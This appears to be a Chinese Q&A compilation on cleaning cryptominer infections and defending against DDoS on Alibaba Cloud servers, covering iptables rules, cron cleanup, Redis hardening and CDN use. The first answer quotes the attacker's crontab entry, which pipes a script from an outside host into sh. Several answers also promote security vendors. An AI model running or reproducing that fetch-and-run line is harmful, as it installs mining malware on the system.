阿里雲伺服器被挖礦成肉雞
⑴ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權， 在沒有找到根源前，千萬不要刪除 minerd，因為刪除了，過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top，查看了一會，沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下，感興趣的可以研究下：
View Code
解決minerd並不是最終的目的，主要是要查找問題根源，我的伺服器問題出在了redis服務了，黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權，http://blog.jobbole.com/94518/然後就注入了病毒，下面是解決辦法和清除工作：
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」，區分普通用戶和admin許可權，普通用戶將會被禁止運行某些命令，如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表，是不是有你不認識的用戶添加進來。 如果有就刪除掉.
⑵ 阿里雲伺服器是不是經常捉鬼放鬼
你這都是猜測，理由說不過去。我不知道你是多大的客戶需要阿里雲對你特殊對待，要知道阿里雲安全產品的價格可是很高的啊，他確定你買得起嗎？
阿里雲支持按量付費伺服器，被攻擊的時候伺服器並不會關閉，只是網路不通，但是「內網」是通暢的，臨時開一台按量付費伺服器做個埠轉發就行了。從發現中斷到重新上線通常不超過10分鍾，如果你們有開發人員的話，接入阿里雲的產品API，從被攻擊下線到重新上線能控制在2-3分鍾。我向來都是這么解決的，一年下來被攻擊幾十次，全年額外支出成本也不超過50塊人民幣，幹嘛和阿里雲較真，再說你毛的證據沒有，頂多就來這里發發牢騷而已。
⑶ 阿里雲伺服器剛買兩天就被攻擊當肉雞，黑客怎麼做到的
應該是自己管理的問題 不善自己配置或管理的伺服器 是極容易出現問題的 跟在哪裡買的關系不大 先看你選擇的是什麼系統 或者是你自己購買伺服器的賬號泄露了？Web應用或組件存在漏洞導致提權被利用 還有很多其它方面的原因 而不是單純的我在XX買的伺服器 沒兩天就成肉雞了 假如你開一堆沒必要的埠和服務而且還是默認口令管你在那買的都沒用 這叫伺服器配置不當 據我所知雲伺服器商基本不會給你配置環境的都是你自己在弄 不要小看運維 讓他安全穩定高效的跑起來絕對是一門學問 所以需要自己去琢磨了解學習。
⑷ 求助伺服器被挖礦程序入侵，如何排查
新客戶於最近向我們SINE安全公司咨詢，說他的伺服器經常卡的網站無法打開，遠程連接
伺服器的慢的要命，有時候PING值都達到300-500之間，還經常掉包，聽客戶這么一說，一般
會判斷為受到了CC+DDOS混合流量攻擊，再具體一問，說是機房那面沒有受到流量攻擊，這
就有點奇怪了，不是流量攻擊，還導致伺服器卡，網站無法打開，這是什麼攻擊？為了解決客
戶伺服器卡的問題，我們隨即安排安全工程師對他的Linux伺服器進行了安全檢測與安全部署。
挖礦木馬還設計了挖礦進程如果被客戶強制停止後，會自動啟動繼續挖礦，達到不間斷的挖礦，
仔細檢查發現是通過設置了每個小時執行任務計劃，遠程下載shell挖礦木馬，然後執行，檢查
當前進程是否存在，不存在就啟動挖礦木馬，進行挖礦。
對客戶的linux伺服器進行詳細了安全檢測發現幸虧沒有加密伺服器的數據，以及感染蠕蟲的病
毒，如果數據被加密那損失大了，客戶是做平台的，裡面的客戶數據很重要，找出挖礦木馬後，
客戶需要知道伺服器到底是如何被攻擊的？ 被上傳挖礦木馬的？ 防止後期再出現這樣的攻擊
狀況。
通過我們安全工程師的安全檢測與分析，發現該伺服器使用的是apache tomcat環境，平台的開
發架構是JSP+oracle資料庫，apache tomcat使用的是2016年的版本，導致該apache存在嚴重
的遠程執行命令漏洞，入侵者可以通過該漏洞直接入侵伺服器，拿到伺服器的管理員許可權，
SINE安全工程師立即對apache 漏洞進行修復，並清除木馬，至此問題得以解決，客戶伺服器
一切穩定運行，網站打開正常。
⑸ 阿里雲伺服器剛買兩天就被攻擊當肉雞，黑客怎麼做到的
您這伺服器是被黑客入侵了，被黑的因素 一般都是程序留了後門或vps內被留了系統內核級別的木馬 或網站的代碼留了隱蔽性的木馬或一句話shell
一般都是網站程序存在漏洞或者伺服器存在漏洞而被攻擊了
伺服器被黑是每個網站管理員最頭痛的問題 也可以通過安全公司來解決，國內也就Sinesafe和綠盟等安全公司 比較專業.
⑹ 阿里雲伺服器被攻擊怎麼辦
分布式拒絕服務攻擊(DDOS)是目前常見的網路攻擊方法，它的英文全稱為Distributed Denial of Service?簡單來說，很多DoS攻擊源一起攻擊某台伺服器就形成了DDOS攻擊，從而成倍地提高拒絕服務攻擊的威力。
通常，攻擊者將攻擊程序通過代理程序安裝在網路上的各個「肉雞」上，代理程序收到指令時就發動攻擊。
隨著DDOS攻擊的成本越來越低，很多人就通過DDOS來實現對某個網站或某篇文章的「下線」功能，某篇文章可能因為內容質量好，在搜索引擎有較高的排名，但如果因為DDOS導致網站長時間無法訪問，搜索引擎則會將這篇文章從索引中刪除，網站的權重也會降低，因為達到了「下線」文章的目的。
對付DDOS不太容易，首先要找一個靠譜的主機供應商，我之前有個主機供應商，一發現某個IP被DDOS，就主動屏蔽這個IP好幾天，實際上就是硬體和技術能力不足的表現。
國外的主機供應商也未必靠譜，比如之前有次被DDOS，我就把博客轉到Dreamhost的空間，事實表明Dreamhost的防DDOS的能力不敢恭維，DDOS來了之後，Dreamhost對付DDOS倒是不客氣，直接把中國地區的IP全給屏蔽了。
一般來說，DDOS是需要花錢和帶寬的，解決DDOS也需要花錢和帶寬，那麼，如果伺服器被DDOS了，我們應該怎麼辦呢?
1、保證伺服器系統的安全
首先要確保伺服器軟體沒有任何漏洞，防止攻擊者入侵。確保伺服器採用最新系統，並打上安全補丁。在伺服器上刪除未使用的服務，關閉未使用的埠。對於伺服器上運行的網站，確保其打了最新的補丁，沒有安全漏洞。
2、隱藏伺服器的真實IP地址
不要把域名直接解析到伺服器的真實IP地址，不能讓伺服器真實IP泄漏，伺服器前端加CDN中轉(免費的CDN一般能防止5G左右的DDOS)，如果資金充裕的話，可以購買高防的盾機，用於隱藏伺服器真實IP，域名解析使用CDN的IP，所有解析的子域名都使用CDN的IP地址。此外，伺服器上部署的其他域名也不能使用真實IP解析，全部都使用CDN來解析。
總之，只要伺服器的真實IP不泄露，5G以下小流量DDOS的預防花不了多少錢，免費的CDN就可以應付得了。如果攻擊流量超過10G，那麼免費的CDN可能就頂不住了，需要購買一些高防的收費CDN，一般高防CDN比較貴，比如阿里雲騰訊雲的10G防護一個月就78千一年，目前國內性價比比較高的推薦：網路雲加速 ,10GDDOS防護套餐只需要1190一年，代理商買更便宜。相關鏈接
⑺ 阿里雲被攻擊多久解封雲伺服器被攻擊了怎麼解決
雲伺服器被ddos攻擊最惡心了，尤其阿里雲的伺服器受攻擊最頻繁，因為黑客知道阿里雲伺服器的防禦低，一旦被攻擊就會進入黑洞清洗。輕則停服半小時，重則停2-24小時，給網站、 游戲 等帶來很嚴重的損失。
最好處理ddos攻擊的方法就是防止，不要等到被攻擊了再來防禦。這樣成本就遠超攻擊前的防禦。如果有把柄在黑客手中 ，就更加麻煩了，所以事前防禦才是上上策 。想避免 DDOS 攻擊 ，務必先搞清楚 ，灶困當今銷售市場 99 %的DDOS攻擊是對於 IP 以百G攻擊流量導致網路伺服器癱患，以便做到攻擊目的 ，因而 你務必防止伺服器ip泄漏並掩藏 源ip ，那樣黑客就無法找到源伺服器ip ，也沒法使用ddos有效地攻擊你。
其實ddos的核心問題是成本低，而防禦成本高。我所知道的今年國內應該出現了很多超200G的ddos攻擊，而大部分公司都扛不住。今天飛飛就和你們分享一下解決方案。
對於低成本的防禦方法，我給出幾點建議：
1、掛cdn隱藏IP，在換成新的ip後，請務必掛cdn對真實的ip進行隱藏，這樣無論怎樣被攻擊，cdn都可以為你進行抵禦。
2、cdn不止可以套一層，可以多層一起嵌套，網路上免費的也不少。
准備多個伺服器做反向代理（配置可以不高能運行nginx就行，最好是那種空路由時間短的），每個反向代理伺服器都指向主伺服器節點，都綁定一個二級域名，都掛上不同的cdn。
3、主域名可以隨時解析到任意一個反向代理伺服器，並且可以掛免費的雲監控來實時監控伺服器狀態，一個節點死了改解析就行。
4、在防火牆層面禁止所有的國外ip（這是大部分肉雞主要來源），可以很好地陪鍵降低攻擊流量。
以上是比較簡單、低成本的方法，如果資金充足的話，建議購買高防伺服器和高防IP等防禦產品，這樣針對不同場景不同的環節也蘆辯巧有針對性的防禦方案，無法一概而論，當然也看您遇到的對手是什麼樣的級別。
因此，避免伺服器遭受ddos攻擊的最好是方式就是把高防CDN布置好，不能讓對方了解你的源伺服器ip ，即便高防cdn其中一個節點被打死 ，還可以立即切換到其他備用節點上。
攜手馳網一同 探索 （擁有一台伺服器可以做哪些很酷的事情？）
⑻ windows伺服器被肉雞了怎麼辦
一、立即執行
1、更改系統管理員賬戶的密碼，密碼長度不小於8位並且使用大寫字母/小寫字母/數字/特殊字元組合；
2、更改遠程登錄埠並開啟防火牆限制允許登錄的IP，防火牆配置只開放特定的服務埠並對FTP、資料庫等這些不需要對所有用戶開放的服務進行源IP訪問控制；
3、檢查是否開放了未授權的埠
windows在CMD命令行輸入netstat /ano，檢查埠；有開放埠的根據PID檢查進程，刪除對應路徑文件（根據PID檢查進程步驟：開始-->運行-->輸入「msinfo32」 軟體環境-->正在運行的任務 ）
linux 輸入命令 netstat –anp查看
4、刪除系統中未知賬戶，windows系喊襲統還需要檢查注冊表中的SAM鍵值是否有隱藏賬戶；
5、假如有WEB服務的，限制web運行賬戶對文件系統的訪問許可權，只開放僅讀許可權。
二、後期防禦
重點操作：開啟雲盾所有功能，特別是網站安全防禦 (自動防禦所有WEB攻擊)、網站後門檢測（實時檢測伺服器上的後門程序）、主機密碼破解防禦
操作步驟：登錄【雲盾控制台】 --【服務設置】 進行開啟
處理步驟：(重置系統 -- 手工修改各個密碼 -- 開啟雲盾所有服務 )
1、手工修改密碼
密碼長度不小於8位並且使用大寫字母、小寫字母、數字、特殊字元組合
至少包括：
a.伺服器登陸密碼
b.資料庫連接密碼
c.網站後台密碼
d.FTP密碼
e.其他伺服器管理軟體密碼
2、系統加固
a.到雲盾控制裂扮台開啟雲盾所有服務，尤其是雲盾網站安全防禦（可以抵禦黑客利用網站應用程序的漏洞入侵伺服器，並且有專肆滲灶業的安全團隊時刻關注國內安全動態，一旦發現新的漏洞出現，會立刻更新防護規則，防止黑客利用新漏洞入侵網站）
b.建議站長把網站後台隱藏起來，盡量在保證網站正常運行的前提下，把網站後台目錄名改的長長的。（比如：//）
c. windows系統要及時更新系統補丁
⑼ 我的linux伺服器成肉雞了，向同一ip地址發送大量的udp包，把我的伺服器資源都消耗光了，怎麼解決，
1連上伺服器 找出發包進程kill掉（這一步做不到可以無視）
2數據備份（有重要數據的話）
3重做系統
4還原數據
5做好安全防護（iptables禁用不用的埠，不需要的服務關閉，升級bash最近有漏洞）
⑽ 阿里雲windows伺服器中了挖礦的病毒怎麼清理
光刪除沒用的，因為沒有解決好漏洞。
建議是重做系統，然後找護衛神給你做一下系統安全加固，把漏洞徹底堵住才有效果。